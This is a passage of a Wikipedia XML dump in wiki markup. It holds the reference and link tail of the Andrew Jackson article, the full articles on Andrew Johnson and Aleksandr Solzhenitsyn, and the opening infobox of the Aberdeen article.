* [[List of places named for Andrew Jackson]]
* [[The Hermitage]], Andrew Jackson's home, now a tourist destination
* [[List of people on stamps of Ireland]]

==Notes==
# {{note|Jefferson}} Paul Leicester Ford, ''The Writings of Thomas Jefferson'' 10 vols. (New York, 1892-99), 10: 331.
# {{note|remini}} [[Robert V. Remini]], ''Andrew Jackson and his Indian Wars''. (2001)

==References==
===Primary sources===
* Bassett John Spencer, ed. ''Correspondence of Andrew Jackson'' Vols. 1-6.  (1926).
* Smith Sam B., and Harriet Chappell Owsley, eds. ''Papers of Andrew Jackson'' . Knoxville: University of Tennessee Press, Vol. 1, 1980.
* Moser Harold D., Sharon MacPherson, and Charles F. Bryan Jr., eds. ''The Papers of Andrew Jackson''. Vols. 2-4. Knoxville: University of Tennessee Press, 1988.
* [http://www.yale.edu/lawweb/avalon/presiden/jackpap.htm online speeches and presidential messages]

===Secondary sources===
*Brustein, Andrew. ''The Passions of Andrew Jackson''. New York: Knopf, (2003). 
*Bugg Jr. James L. ed. ''Jacksonian Democracy: Myth or Reality?'' (1952), excerpts from scholars
* Gammon, Samuel Rhea. ''The Presidential Campaign of 1832'' (1922)]
*  Hammond, Bray. ''Andrew Jackson's Battle with the &quot;Money Power&quot;'' (1958) ch 8, an excerpt from his Pulitzer-prize-winning ''Banks and Politics in America: From the Revolution to the Civil War'' (1954).
*Hofstatder, Richard. ''The American Political Tradition'' (1948), chapter on Jackson.
*James, Marquis. ''The Life of Andrew Jackson'' New York: Bobbs-Merrill, 1938. Combines two books: ''The Border Captain'' and ''Andrew Jackson: Portrait of a President''; winner of the [[Pulitzer Prize for Biography or Autobiography|Pulitzer Prize for Biography]].
* Latner Richard B. ''The Presidency of Andrew Jackson: White House Politics, 1820-1837'' (1979), standard survey.
*Ratner, Lorman A. ''Andrew Jackson and His Tennessee Lieutenants: A Study in Political Culture'' (1997)
*[[Robert V. Remini]],  ''The Life of Andrew Jackson''. Abridgment of Remini's 3-volume biography, (1998)
** ''Andrew Jackson and the Course of American Empire, 1767-1821'' (1977); ''Andrew Jackson and the Course of American Freedom, 1822-1832'' (1981); ''Andrew Jackson and the Course of American Democracy, 1833-1845'' (1984)
* Remini Robert. ''The Legacy of Andrew Jackson: Essays on Democracy, Indian Removal, and Slavery'' (1988)
*Rowland, Dunbar. ''Andrew Jackson's Campaign against the British, or, the Mississippi Territory in the War of 1812, concerning the Military Operations of the Americans, Creek Indians, British, and Spanish, 1813-1815'' (1926)
*[[Arthur M. Schlesinger, Jr.|Schlesinger, Arthur M. Jr]]. ''The Age of Jackson''. (1945). Winner of the [[Pulitzer Prize for History]].
*Taylor, George Rogers, ed. ''Jackson Versus Biddle: The Struggle over the Second Bank of the United States'' (1949), excerpts from primary and secondary sources
*Syrett, Harold C. ''Andrew Jackson: His Contribution to the American Tradition'' (1953)
*Temin, Peter. ''The Jacksonian Economy'' (1969)
*Wallace, Anthony F.C. ''The Long, Bitter Trail: Andrew Jackson and the Indians'' (1993)
*Ward, John William. ''Andrew Jackson, Symbol for an Age'' (1962)
* Wilentz,  Sean. ''The Rise of American Democracy: Jefferson to Lincoln'' (2005)

==External links==
{{commons|Andrew Jackson}}
{{wikiquote}}
{{wikisource author}}
* [http://www.expage.com/andrewjackson12 All About Andrew Jackson]
* {{gutenberg author| id=Andrew+Jackson | name=Andrew Jackson}}
* {{CongBio|J000005}}
* [http://tigger.uic.edu/~rjensen/pol-gl.htm#F. American Political History Online]
* [http://www.whitehouse.gov/history/presidents/aj7.html White House Biography]
* [http://www.isidore-of-seville.com/jackson/ Andrew Jackson on the Web (resource directory)]
* [http://www.synaptic.bc.ca/ejournal/jackson.htm Critical Resources: Andrew Jackson and Indian Removal]
* [http://www.bargeron.com/genealogy/gsb/f3802.html A genealogical profile of the President]
* [http://www.doctorzebra.com/prez/g07.htm Jackson's medical history]
* [http://www.wnpt.net/rachel/rachel_andrew/together.html PBS documentary on Rachel &amp; Andrew's life together]
* [http://www.floridamemory.com/Collections/CallBrevardPapers/ Andrew Jackson letters to Richard K. Call]
===Inaugural addresses===
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/jackson1.htm First Inaugural Address]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/jackson2.htm Second Inaugural Address]
===[[State of the Union address]]es===
* [http://www.usa-presidents.info/union/jackson-1.html First State of the Union of Andrew Jackson]
* [http://www.usa-presidents.info/union/jackson-2.html Second State of the Union of Andrew Jackson]
* [http://www.usa-presidents.info/union/jackson-3.html Third State of the Union of Andrew Jackson]
* [http://www.usa-presidents.info/union/jackson-4.html Fourth State of the Union of Andrew Jackson]
* [http://www.usa-presidents.info/union/jackson-5.html Fifth State of the Union of Andrew Jackson]
* [http://www.usa-presidents.info/union/jackson-6.html Sixth State of the Union of Andrew Jackson]
* [http://www.usa-presidents.info/union/jackson-7.html Seventh State of the Union of Andrew Jackson]
* [http://www.usa-presidents.info/union/jackson-8.html Final State of the Union of Andrew Jackson]

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[[Category:1767 births|Jackson, Andrew]]
[[Category:1845 deaths|Jackson, Andrew]]
[[Category:Democratic Party (United States) presidential nominees|Jackson, Andrew]]
[[Category:Governors of Florida|Jackson, Andrew]]
[[Category:People from North Carolina|Jackson, Andrew]]
[[Category:Presbyterians]]
[[Category:Presidents of the United States|Jackson, Andrew]]
[[Category:Scots-Irish Americans|Jackson, Andrew]]
[[Category:Members of the United States House of Representatives from Tennessee|Jackson, Andrew]]
[[Category:United States Army generals|Jackson, Andrew]]
[[Category:United States Senators from Tennessee|Jackson, Andrew]]

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  </page>
  <page>
    <title>Andrew Johnson</title>
    <id>1624</id>
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      <text xml:space="preserve">{{Infobox_President | name=Andrew Johnson
| nationality=american
| image=President Andrew Johnson standing.jpg
| order=17&lt;sup&gt;th&lt;/sup&gt; President
| vicepresident=none
| term_start=[[April 15]] [[1865]]
| term_end=[[March 3]] [[1869]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on [[March 3]]. --&gt;
| predecessor=[[Abraham Lincoln]]
| successor=[[Ulysses S. Grant]]
| birth_date=[[December 29]] [[1808]]
| birth_place=[[Raleigh, North Carolina]]
| death_date=[[July 31]] [[1875]]
| death_place=[[Greeneville, Tennessee]]
| spouse=[[Eliza McCardle Johnson]]
| party=[[United States Democratic Party|Democratic]] (elected on National Union ticket)
}}
{{Otherpeople|Andrew Johnson}}
'''Andrew Johnson''' ([[December 29]] [[1808]] – [[July 31]] [[1875]]) was the sixteenth [[Vice President of the United States|Vice President]] (1865) and the seventeenth [[President of the United States]] (1865–1869), succeeding to the presidency upon the assassination of [[Abraham Lincoln]].  

Johnson presided over the [[Reconstruction]] of the United States following the [[American Civil War]], and his conciliatory policies towards the defeated rebels and his vetoes of [[civil rights]] bills embroiled him in a bitter dispute with the Congressional Republicans, leading the [[United States House of Representatives|House of Representatives]] to [[impeachment|impeach]] him in 1868; he was the first President to be impeached. He was subsequently acquitted by a single vote in the [[United States Senate|Senate]]. 

==Early life== 
Johnson was born on [[December 29]], [[1808]], in [[Raleigh, North Carolina]], to Jacob Johnson and Mary McDonough. When Johnson was four his father died. At the age of 10 he was apprenticed to a tailor, but ran away to [[Greeneville, Tennessee]] in 1826, where he continued his employment as a tailor. He never attended any type of school; his wife, [[Eliza McCardle Johnson]], has historically been credited with teaching him to read and write.

==Early political career==
Johnson served as an [[alderman]] in [[Greeneville, Tennessee|Greeneville]] from 1828 to 1830 and mayor of Greeneville from 1830 to 1833. He was a member of the [[Tennessee House of Representatives|State House of Representatives]] from 1835 to 1837 and from 1839 to 1841. He was elected to the [[Tennessee Senate|State Senate]] in 1841, and elected as a [[United States Democratic Party|Democrat]] to the Twenty-eighth and to the four succeeding Congresses ([[March 4]] [[1843]] to [[March 3]] [[1853]]).  He was chairman of the [[U.S. House Committee on Public Expenditures]] (Thirty-first and Thirty-second Congresses).

==Political ascension==
Johnson did not seek renomination, having become a candidate for the governorship of [[Tennessee]]. He was Governor of Tennessee from 1853 to 1857, and was elected as a Democrat to the United States Senate and served from [[October 8]] [[1857]] to [[March 4]] [[1862]], when he resigned. He was chairman of the [[Committee to Audit and Control the Contingent Expense]] (Thirty-sixth Congress). At the time of [[secession]] of [[Confederate States of America|the Confederacy]], Johnson was the only Senator from the seceded states to continue participation in Congress. Johnson was then appointed by President [[Abraham Lincoln]] as Military Governor of Tennessee in 1862.

==Presidency 1865-1869==
===Assumption===
As a leading War Democrat and pro-Union southerner, Johnson was attractive to the Republicans in 1864 as they tried to enlarge their base to include War Democrats. He was elected [[Vice President of the United States]] on the National Union ticket headed by Republican Abraham Lincoln in 1864 and was inaugurated [[March 4]] [[1865]]. A rather embarrassing incident occurred on this day: Johnson had been suffering from typhoid fever and drank whiskey before the ceremony. He gave a rambling, incoherent speech and had to be led away. Lincoln forgave him for this transgression. He became President of the United States on [[April 15]] [[1865]], upon the death of Lincoln. He was the first Vice President to succeed to the U.S. Presidency upon the assassination of a President and the third to succeed upon the death of a President.

Johnson had an ambiguous party status. The National Union party vanished after the 1864 election but he did not identify with either party while president--though he did try for the Democratic nomination in 1868. Asked why he did not become a Democrat in July 1868 he said &quot;It is true I am asked why don't I join the Democratic party. Why don't they join me?&quot; [Trefouse p 339] 

===Policies===
The Johnson Administration negotiated the [[Alaska purchase|purchase of Alaska]] from Russia on [[April 9]] [[1867]] for $7,200,000.

===Impeachment===
Congress and Johnson argued in an increasingly public way about [[Reconstruction]]: the manner in which the Southern secessionist states would be readmitted to the Union. Johnson favored a very quick restoration of all rights and privileges of other states. However, &quot;Congressional Reconstruction&quot;, enforced by repeated acts passed over Johnson's [[veto]], provided for provisional state governments run by the military and ensuring the local passage of [[civil rights]] laws and otherwise imposing the will of the United States Congress &amp;mdash; which was run by the North. Johnson's public criticisms of Congress provoked much talk of impeachment over the months.

[[Image:3a05488v.jpg|250px|thumb|''Harper's Weekly'' illustration of Johnson's impeachment trial in the [[United States Senate]].]]
On [[February 21]], [[1868]], Johnson notified Congress that he had removed [[Edwin Stanton]] as Secretary of War, and was replacing him in the interim with Adjutant-General [[Lorenzo Thomas]]. This violated the [[Tenure of Office Act]], a law enacted by Congress on [[March 2]], [[1867]], over Johnson's veto, specifically designed to protect Stanton. Johnson had vetoed the Act, claiming it was unconstitutional. The Act said, &quot;...every person holding any civil office, to which he has been appointed by and with the advice and consent of the Senate ... shall be entitled to hold such office until a successor shall have been in like manner appointed and duly qualified,&quot; thus removing the President's previous unlimited power to remove any of his Cabinet members at will. Years later in the case ''[[Myers v. United States]]'' in 1926, the [[Supreme Court of the United States|Supreme Court]] ruled that such laws were indeed unconstitutional.

The Senate and House entered into hot debate. Thomas attempted to move into the War office, for which Stanton had Thomas arrested. Three days after Stanton's removal, the House passed a resolution to impeach Johnson for &quot;high crimes and misdemeanors&quot;, specifically, for intentionally violating the Tenure of Office Act and thus violating the law of the land, which he had sworn an oath to enforce.  

[[Image:AJohnsonimpeach.jpg|thumb|left||The 1868 Impeachment Resolution]]
On [[March 5]], [[1868]] a court of impeachment was constituted in the Senate to hear charges against the President. [[William M. Evarts]] served as his counsel. Eleven articles were set out in the resolution and the trial before the Senate lasted almost three months. Johnson's defense was based on a clause in the Tenure of Office Act stating that the then-current Secretaries would hold their posts throughout the term of the President who appointed them. Since Lincoln had appointed Stanton, it was claimed, the applicability of the Act had already run its course.

There were three votes in the Senate: one on [[May 16]], [[1868]] for the 11th article of impeachment, which included many of the charges contained in the other articles, and two on [[May 26]] for the second and third articles, after which the trial adjourned ''[[sine die]]''. On all three occasions, thirty-five Senators voted &quot;Guilty&quot; and nineteen &quot;Not Guilty&quot;. As the [[United States Constitution]] requires a two-thirds majority for conviction in impeachment trials, Johnson was acquitted.

A single changed vote would have sufficed to return a &quot;Guilty&quot; verdict. The decisive vote had been that of a young [[Radical Republican]] named [[Edmund G. Ross]]. Despite monumental pressure from fellow Radicals prior to the first vote, and dire warnings that a vote for acquittal would end his political career, Ross stood up at the appropriate moment and quietly announced &quot;not guilty,&quot; effectively ending the impeachment trial. 

Johnson was the first President to be impeached, and the only one until [[Impeachment of Bill Clinton|Bill Clinton]] on [[December 19]], [[1998]]. Both presidents were acquitted.

===Administration and Cabinet===
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[President of the United States|President]]||align=&quot;left&quot; |'''Andrew Johnson'''||align=&quot;left&quot;|1865–1869
|-
|align=&quot;left&quot;|[[Vice President of the United States|Vice President]]||align=&quot;left&quot;|''None''||align=&quot;left&quot;|&amp;nbsp;
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|[[United States Secretary of State|Secretary of State]]||align=&quot;left&quot;|'''[[William H. Seward]]'''||align=&quot;left&quot;|1865–1869
|-
|align=&quot;left&quot;|[[United States Secretary of the Treasury|Secretary of the Treasury]]||align=&quot;left&quot;|'''[[Hugh McCulloch]]'''||align=&quot;left&quot;|1865–1869
|-
|align=&quot;left&quot;|[[United States Secretary of War|Secretary of War]]||align=&quot;left&quot;|'''[[Edwin M. Stanton]]'''||align=&quot;left&quot;|1865–1868
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[John M. Schofield]]'''||align=&quot;left&quot;|1868–1869
|-
|align=&quot;left&quot;|[[Attorney General of the United States|Attorney General]]||align=&quot;left&quot;|'''[[James Speed]]'''||align=&quot;left&quot;|1865–1866
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Henry Stanberry]]'''||align=&quot;left&quot;|1866–1868
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[William M. Evarts]]'''||align=&quot;left&quot;|1868–1869
|-
|align=&quot;left&quot;|[[Postmaster General of the United States|Postmaster General]]||align=&quot;left&quot;|'''[[William Dennison]]'''||align=&quot;left&quot;|1865–1866
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Alexander Randall]]'''||align=&quot;left&quot;|1866–1869
|-
|align=&quot;left&quot;|[[United States Secretary of the Navy|Secretary of the Navy]]||align=&quot;left&quot;|'''[[Gideon Welles]]'''||align=&quot;left&quot;|1865–1869
|-
|align=&quot;left&quot;|[[United States Secretary of the Interior|Secretary of the Interior]]||align=&quot;left&quot;|'''[[John P. Usher]]'''||align=&quot;left&quot;|1865
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[James Harlan (senator)|James Harlan]]'''||align=&quot;left&quot;|1865–1866
|-
|align=&quot;left&quot;|&amp;nbsp;||align=&quot;left&quot;|'''[[Orville H. Browning]]'''||align=&quot;left&quot;|1866–1869
|}
&lt;br clear=&quot;all&quot;&gt;

===States admitted to the Union===
* [[Nebraska]]: 1867

==Post-Presidency==
[[Image:Pres_andrew_johnson.jpg|thumb|right|230px|President Andrew Johnson]]
Johnson was an unsuccessful candidate for election to the United States Senate in 1868 and to the House of Representatives in 1872. He eventually succeeded and was elected as a Democrat to the Senate and served from [[March 4]], [[1875]], until his death near [[Elizabethton, Tennessee]], on [[July 31]], [[1875]]. He is the only President to serve in the Senate after his presidency. Interment was in the Andrew Johnson National Cemetery, [[Greeneville, Tennessee]].

==See also==
* [[U.S. presidential election, 1864]]
* [[History of the United States (1865-1918)]]

==References==
* Howard K. Beale, ''The Critical Year. A Study of Andrew Johnson and Reconstruction'' (1930).
* Michael Les Benedict, ''The Impeachment and Trial of Andrew Johnson'' (1999).
* Albert E. Castel, ''The Presidency of Andrew Johnson '' (1979).
* D. M. DeWitt, ''The Impeachment and Trial of Andrew Johnson'' (1903).
* Eric L. McKitrick,  ''Andrew Johnson and Reconstruction'' (1961).
* L. P. Stryker, ''Andrew Johnson: A Study in Courage'' (1929).
* Hans L. Trefousse, ''Andrew Johnson: A Biography'' (1989).

===Primary sources===
* Newspaper clippings, 1865–1869: http://www.impeach-andrewjohnson.com/
* Series of [[Harper's Weekly]] articles covering the impeachment controversy and trial: [http://www.andrewjohnson.com/09ImpeachmentAndAcquittal/ImpeachmentAndAcquittal.htm]
* Johnson's [[obituary]], from the [[New York Times]]: http://starship.python.net/crew/manus/Presidents/aj2/aj2obit.html

==External links==
{{wikiquote}}
{{Wikisource author}}
* {{gutenberg author| id=Andrew+Johnson | name=Andrew Johnson}}
* [http://jbw1291-essays.wikispaces.org/The+Andrew+Johnson+Administration The Andrew Johnson Administration]
* [http://www.law.umkc.edu/faculty/projects/ftrials/impeach/articles.html Articles of Impeachment]
* [http://www.whitehouse.gov/history/presidents/aj17.html White House Biography]
* [http://www.mlwh.org/inside.asp?ID=91&amp;subjectID=2 Mr. Lincoln's White House: Andrew Johnson]
* [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=548 Andrew Johnson on Find-A-Grave]
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| years=1862 – 1865}}
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| title=[[List of United States Republican Party presidential tickets|Republican Party&lt;sup&gt;(b)&lt;/sup&gt; vice presidential candidate]]
| before=[[Hannibal Hamlin]]
| after=[[Schuyler Colfax]]
| years=[[U.S. presidential election, 1864|1864]] (won)}}
{{succession box
| title=[[Vice President of the United States]]
| before=[[Hannibal Hamlin]]
| after=[[Schuyler Colfax]] &lt;sup&gt;(c)&lt;/sup&gt;
| years=[[March 4]] [[1865]] – [[April 15]] [[1865]]}}
{{succession box
| title=[[President of the United States]]
| before=[[Abraham Lincoln]]
| after=[[Ulysses S. Grant]]
| years=[[April 15]] [[1865]] – [[March 3]] [[1869]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on [[March 3]]. --&gt;}}
{{U.S. Senator box
| state= Tennessee
| class=1
| before=[[William Gannaway Brownlow]]
| after=[[David McKendree Key]]
| alongside=[[Henry Cooper]]
| years=[[March 4]] [[1875]] – [[July 31]] [[1875]]}}
{{succession footnote
| marker=&lt;sup&gt;(a)&lt;/sup&gt;
| footnote=Due to [[Tennessee]]'s secession, the Senate seat was vacant for four years before Patterson succeeded Johnson.}}
[[March 4]] [[1869]].}}
{{succession footnote
| marker=&lt;sup&gt;(b)&lt;/sup&gt;
| footnote=Lincoln and Johnson ran on the National Union ticket in 1864.}}
{{succession footnote
| marker=&lt;sup&gt;(c)&lt;/sup&gt;
| footnote=After Johnson became president in 1865, the Vice Presidency was vacant until [[Schuyler Colfax]] was inaugurated on [[4 March]] [[1869]].}}
{{end box}}
{{USPresidents}}
{{USVicePresidents}}

[[Category:1808 births|Johnson, Andrew]]
[[Category:1875 deaths|Johnson, Andrew]]
[[Category:Autodidacts|Johnson, Andrew]]
[[Category:Baptists|Johnson, Andrew]]
[[Category:Governors of Tennessee|Johnson, Andrew]]
[[Category:Presidents of the United States|Johnson, Andrew]]
[[Category:Reconstruction|Johnson, Andrew]]
[[Category:Republican Party (United States) vice presidential nominees|Johnson, Andrew]]
[[Category:Members of the United States House of Representatives from Tennessee|Johnson, Andrew]]
[[Category:United States Senators from Tennessee|Johnson, Andrew]]
[[Category:Vice Presidents of the United States|Johnson, Andrew]]

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  <page>
    <title>Aleksandr Solzhenitsyn</title>
    <id>1625</id>
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      <text xml:space="preserve">[[Image:Solzhenitsyn.jpg|right|thumb|Aleksandr Solzhenitsyn]] 

'''Aleksandr Isayevich Solzhenitsyn''' ({{lang-ru|Алекса́ндр Иса́евич Солжени́цын}}; born in [[Kislovodsk]], [[Russia]], on [[December 11]], [[1918]]) is a [[Russia|Russian]] [[novel|novelist]], [[drama|dramatist]] and [[historian]]. He was responsible for thrusting awareness of the [[Gulag]] on the world. 
Solzhenitsyn was awarded the [[Nobel Prize in Literature]] in [[1970]] and was exiled from the [[Soviet Union]] in [[1974]].

== In the Soviet Union ==

Solzhenitsyn studied [[mathematics]] at [[Rostov State University]], while at the same time taking correspondence courses from the [[Moscow Institute of Philosophy, Literature, and History]].  During [[World War II]], he served as the commander of an artillery position finding company in the [[Soviet Army]], was involved in major action at the front, and was twice decorated.  In February [[1945]] while serving in [[East Prussia]] he was arrested for criticising [[Joseph Stalin]] in private correspondence with a friend and sentenced to an eight-year term in a [[labour camp]], to be followed by permanent internal exile.  

The first part of Solzehnitsyn's sentence was served in several different work camps; the &quot;middle phase&quot;, as he later referred to it, was spent in a ''[[sharashka]]'', special scientific research facilities run by Ministry of State Security:  these formed the experiences distilled in ''The First Circle'', published in the West in [[1968]].   In [[1950]] he was sent to a &quot;Special Camp&quot; for political prisoners.  During his imprisonment at the camp in the town of [[Ekibastuz]] in [[Kazakhstan]] he worked as a [[miner]], a [[bricklayer]], and a [[foundry]]man.  His experiences at Ekibastuz formed the basis for the ''[[One Day in the Life of Ivan Denisovich]]''.  While there he had a tumor removed, although his [[cancer]] was not then diagnosed.  

From [[March]] [[1953]] Solzhenitsyn began a sentence of internal exile for life at Kol-Terek in southern [[Kazakhstan]].  His undiagnosed cancer spread, until by the end of the year he was close to death.  However in [[1954]] he was permitted to be treated in a hospital in [[Tashkent]], where he was cured.  These experiences became the basis of his novel ''Cancer Ward''.

During his years of exile, and following his reprieve and return to European Russia, Solzhenitsyn was, while teaching at a secondary school during the day, spending his nights secretly engaged in writing.  He later wrote, in the short [[autobiography]] written at the time of his being awarded the [[Nobel Prize]], that &quot;during all the years until 1961, not only was I convinced that I should never see a single line of mine in print in my lifetime, but, also, I scarcely dared allow any of my close acquaintances to read anything I had written because I feared that this would become known.&quot; 

Finally, when he was 42 years old, he approached a poet and the chief editor of the ''Noviy Mir'' magazine [[Alexander Tvardovsky]] with the manuscript of ''[[One Day in the Life of Ivan Denisovich]]''. It was published in [[1962]], and  would remain his only major work to be published in the Soviet Union until [[1990]].  It was during this decade of imprisonment and exile that Solzhenitsyn abandoned his youthful [[Marxism]] and evolved toward his mature philosophical and religious positions.  His gradual turn to a philosophically-minded [[Christianity]] is described at some length in the fourth part of ''[[The Gulag Archipelago]].'' (&quot;The Soul and Barbed Wire.&quot;)

[[Image:Arch gulag cover.jpg|left|thumb|Solzhenitsyn was exiled from the [[Soviet Union]] for his book ''[[The Gulag Archipelago]].'']] 

''One Day in the Life of Ivan Denisovich'' brought the Soviet system of prison labor to the attention of the West, but it was his monumental history of the Soviet prisons for both criminal and political prisoners that won him the most acclaim in the West.  It caused as much a sensation in the Soviet Union as it did the West.  But the attention devoted to it in the West meant that Solzhenitsyn was a marked man.  The printing of his work quickly stopped, and by [[1965]] the KGB had seized his papers, including the manuscript of &lt;i&gt;The First Circle&lt;/i&gt;.  Meanwhile Solzhenitsyn continued to secretly and feverishly work upon the most subversive of all his writings, the monumental &lt;i&gt;Gulag Archipelago&lt;/i&gt;.

''[[The Gulag Archipelago]]'' was a three volume work on the Soviet prison camp system.  It was based upon Solzhenitsyn's own experience as well as the testimony of 227 former prisoners.  It discussed the system's origins from [[Lenin]] and the very founding of the Communist regime.  The appearance of the book in the West put the word [[gulag]] into the Western political vocabulary and guaranteed swift retribution from the Soviet authorities. On [[February 13]], [[1974]], Solzhenitsyn was deported from the Soviet Union to [[West Germany]] and stripped of his Soviet citizenship.

== In the West ==

After a time in [[Switzerland]], Solzhenitsyn was given accommodation by [[Stanford University]] to &quot;facilitate [your] work, and to accommodate you and your family&quot; He stayed on the 11th floor of the Hoover Tower, part of the [[Hoover Institution]]. Solzhenitsyn moved to [[Vermont]] in [[1976]].  Over the next 18 years Solzhenitsyn completed his historical cycle of the [[Russian Revolution of 1917]], ''The Red Wheel'', and several shorter works.  In [[1990]] his Soviet citizenship was restored, and in [[1994]] he returned to Russia.

Despite an enthusiastic welcome on his first arrival in America, followed by respect for his privacy, he had never been comfortable outside his homeland. Solzhenitsyn's warnings about the dangers of Communist aggression and the weakening of the moral fiber of the West were generally well received in conservative circles in the West.  But liberals and secularists were increasingly critical of what they perceived as his [[reactionary]] preference for [[Russia]]n patriotism and the [[Russian Orthodox]] religion. He also harshly criticised what he saw as the ugliness and spiritual vapidity of the dominant [[pop culture]] of the modern West, for example television and rock music: &quot;...the human soul longs for things higher, warmer and purer than those offered by today's mass living habits...by TV stupor and by intolerable music.&quot; 

== Return to Russia ==

Since returning to Russia in 1994 Solzhenitsyn has published eight two-part short stories, a series of contemplative &quot;miniatures&quot; or prose poems, a literary memoir on his years in the West (''The Grain Between the Millstones'') and a two-volume work on the history of Russian-Jewish relations (''Two Hundred Years Together'' 2001, 2002).  The latter has been received as philo-semitic by some and anti-semitic by others.  In it, Solzhenitsyn emphatically repudiates the idea that the Russian revolutions of 1905 and 1917 were the work of a &quot;Jewish conspiracy&quot; (see chapters 9, 14, and 15 of that work).  At the same time, he calls on both Russians and Jews to come to terms with the members of their peoples who acted in complicity with the Communist regime.  The reception of this work confirms that Solzhenitsyn remains a polarizing figure both at home and abroad.

In his recent political writings, such as ''Rebuilding Russia'' (1990) and ''Russia in Collapse'' (1998) Solzhenitsyn has criticized the oligarchic excesses of the new Russian 'democracy' while opposing any nostalgia for Soviet communism.  He has defended moderate and self-critical patriotism (as opposed to extreme nationalism), argued for the indispensability of local self-government to a free Russia, and expressed concerns for the fate of 25 million ethnic Russians in the &quot;near abroad&quot; of the former Soviet Union.

One of his sons, [[Ignat Solzhenitsyn]], has achieved acclaim as a [[pianist]] and [[conductor (music)|conductor]] in the United States.

== Published works ==
{{main|Alexandr Solzhenitsyn bibliography}}
*''[[One Day in the Life of Ivan Denisovich]]'' ([[1962]])
*''For the Good of the Cause'' ([[1964]])
*''[[The First Circle]]'' ([[1968]])
*''[[The Cancer Ward]]'' ([[1968]])
*''[[The Love-Girl and the Innocent]]'' ([[1969]])
*''[[August 1914]]'' ([[1971]]).  The beginning of a history of the birth of the USSR in an [[historical novel]].  The novel centers on the disastrous loss in the [[Battle of Tannenberg (1914)]] in [[August]], [[1914]].  Other works, similarly titled, follow the story.  
*''[[The Gulag Archipelago]]'' (three volumes) ([[1973]]-[[1978|78]]), not a memoir, but a history of the entire process of developing and administering a [[police state]] in the Soviet Union.  
*''[[Prussian Nights]]'' ([[1974]])
* Aleksandr Isaevich Solzhenitsyn, ''A Letter to the Soviet leaders'', Collins: Harvill Press (1974), ISBN  0060139137
*''The Oak and the Calf'' ([[1975]])
*''Lenin in Zurich'' ([[1976]])
*''The Mortal Danger: Misconceptions about Soviet Russia and the Threat to America'' ([[1980]])
*''[[November 1916]]'' ([[1983]])
*''Victory Celebration'' ([[1983]])
*''Prisoners'' ([[1983]])
*''Rebuilding Russia'' ([[1990]])
*''March 1917''
*''April 1917''
*''The Russian Question'' ([[1995]])
*''Invisible Allies'' ([[1997]])
*''Two Hundred Years Together'' on Russian-Jewish relations since 1772, aroused ambiguous public response. ([http://www.cdi.org/russia/johnson/7033-1.cfm], [http://www.jewishsf.com/bk010831/ip29a.shtml], [http://www.orthodoxytoday.org/articles/ChukovskayaSolzhenitsyn.htm])

==External links==
{{wikiquote}}
*[http://www.almaz.com/nobel/literature/Solzhenitsyn.html The Nobel Prize Internet Archive's page on Solzhenitsyn]
*[http://www.columbia.edu/cu/augustine/arch/solzhenitsyn/harvard1978.html A World Split Apart]: Solzhenitsyn's 1978 Commencement Address to the graduating class at Harvard University

[[Category:Aleksandr Solzhenitsyn|*]]
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[[Category:Living people|Solzhenitsyn, Aleksandr]]
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[[Category:Nobel Prize in Literature winners|Solzhenitsyn, Aleksandr]]
[[Category:Russian novelists|Solzhenitsyn, Aleksandr]]
[[Category:Russian writers|Solzhenitsyn, Aleksandr]]
[[Category:Soviet dissidents|Solzhenitsyn, Aleksandr]]
[[Category:Soviet expellees|Solzhenitsyn, Aleksandr]]
[[Category:Sharashka inmates|Solzhenitsyn, Aleksandr]]
[[Category:Russian Orthodox Christians|Solzhenitsyn, Aleksandr]]
[[Category:Don Cossacks|Solzhenitsyn, Aleksandr]]

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  <page>
    <title>Aberdeen</title>
    <id>1627</id>
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      <text xml:space="preserve">:''This article is about the Scottish city. For other uses see [[Aberdeen (disambiguation)]]''

{| border=1 cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=300 style=&quot;margin: 0 0 1em 1em;&quot;
|-
!colspan=2 align=center bgcolor=&quot;#ff9999&quot;|City of Aberdeen
|-
|colspan=2 align=center|[[Image:ScotlandAberdeen.png]]
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Geography
|-
|width=&quot;45%&quot;|Status:||Unitary, City (1996)
|-
|[[Regions of Britain|Region]]:||[[Scotland]]
|-
|Ceremonial County:||[[Aberdeenshire]]
|-
|[[Surface area|Area]]:&lt;br&gt;- Total||[[Ranked 25th]]&lt;br&gt;[[1 E8 m²|186]] [[square kilometre|km&amp;sup2;]]
|-
|Admin. HQ:||Aberdeen
|-
|| [[British national grid reference system|Grid Ref.]]: || NJ925065
|-
|[[ONS coding system|ONS code]]:||00QA
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Demographics
|-
|[[Population]]:&lt;br&gt;- Total (2003 est.)&lt;br&gt;- [[Density]]||[[Ranked 7th]]&lt;br&gt;212,125&lt;br&gt;1,140 / km&amp;sup2;
|-
!colspan=2 bgcolor=&quot;#ff9999&quot;|Politics
|-
|colspan=2 align=center|[[Image:Aberdeen-coa.png]]&lt;br&gt;Aberdeen City Council&lt;br&gt;http://www.aberdeencity.gov.uk/
|-
|[[Local_government_in_Scotland#Councils_and_councillors|Leadership]]:||Leader &amp; Cabinet
|-
|Executive:|| [[Conservative Party (UK)|Conservative]] +&lt;br&gt;[[Liberal Democrats (UK)|Liberal Democrat]]
|- 
